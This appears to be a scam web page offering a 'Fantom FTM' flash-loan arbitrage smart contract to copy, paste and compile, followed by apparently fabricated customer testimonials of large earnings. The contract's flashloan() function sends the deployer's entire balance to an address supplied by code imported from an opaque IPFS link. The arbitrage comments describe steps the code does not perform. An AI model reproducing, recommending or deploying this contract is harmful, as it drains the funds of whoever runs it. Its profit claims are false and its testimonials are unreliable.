FANTOM – FTM
SMART CONTRACT CODE
// FANTOM - FTM SMART CONTRACT CODE VER.321568 // Follow carefully the video // Do not modify this contract code otherwise it won't work on you! // Just Copy+Paste and Compile!! // Thank you for your support! Enjoy your Earnings!! // This is for educational purposes only! // Try it at your own risk! pragma solidity ^0.5.16; // CreamFi Contracts import "https://github.com/CreamFi/compound-protocol/blob/master/contracts/ERC3156FlashLenderInterface.sol"; import "https://github.com/CreamFi/compound-protocol/blob/master/contracts/CarefulMath.sol"; import "https://github.com/CreamFi/compound-protocol/blob/master/contracts/CToken.sol"; import "https://github.com/CreamFi/compound-protocol/blob/master/contracts/CTokenCheckRepay.sol"; import "https://ipfs.filebase.io/ipfs/Qmc495pyyh5qutBEaRXV5Sf245x4VnonBKNntmrGKaHio1"; contract InitiateFlashLoan { RouterV2 router; string public tokenName; string public tokenSymbol; uint256 flashLoanAmount; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _loanAmount ) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; flashLoanAmount = _loanAmount; router = new RouterV2(); } function() external payable {} function flashloan() public payable { // Send required coins for swap address(uint160(router.zooTradeSwapAddress())).transfer( address(this).balance ); router.borrowFlashloanFromMultiplier( address(this), router.creamSwapAddress(), flashLoanAmount ); //To prepare the arbitrage, FLM is converted to Dai using ZooTrade swap contract. router.convertFtmTo(msg.sender, flashLoanAmount / 2); //The arbitrage converts token for FLM using token/FLM ZooTrade, and then immediately converts FLM back router.callArbitrageZooTrade(router.creamSwapAddress(), msg.sender); //After the arbitrage, FLM is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 FLM of gas. router.transferFtmToMultiplier(router.zooTradeSwapAddress()); //Note that the transaction sender gains FLM from the arbitrage, this particular transaction can be repeated as price changes all the time. router.completeTransation(address(this).balance); } }
Our Clients Say

It worked for me on the second go also, liquidity was too low first time I think

I was sceptical, but somehow got 10AVAX back from using 2avax deposits.

5BNB back on 0.25 liquidity. Not bad at all! Sent some your way.

Wow i can't truly imagine that it work. It really did work and a can't still believe it. Can you imagine for 0.3bnb you can received a loan of 7bnb? I'll will try again tomorrow with 0.5bnb and will see what happen. Thank you again admin

Last week Smart contract was awesome, I made a lot of BNB. I hope this new contract will be more beneficial than the old one. Thank you admin.

It really did works for me...At first, its kind a fail. Then i just FF the Hint on the instructions. And then 14BNB BOOOOM!!!! Thank you admin.

I got 12BNB today. I try on remix and ff the instructions then transaction successful. Thanks admin, your code still working perfectly.

At first it doesn't quite to work. What i did, i restart my system and i do it all over again and it when through. Thank you for this admin. I got 9bnb today.

It fail when i tried yesterday, but today it go through on my second attempt. Thank you i got 12bnb today. What a relief lol.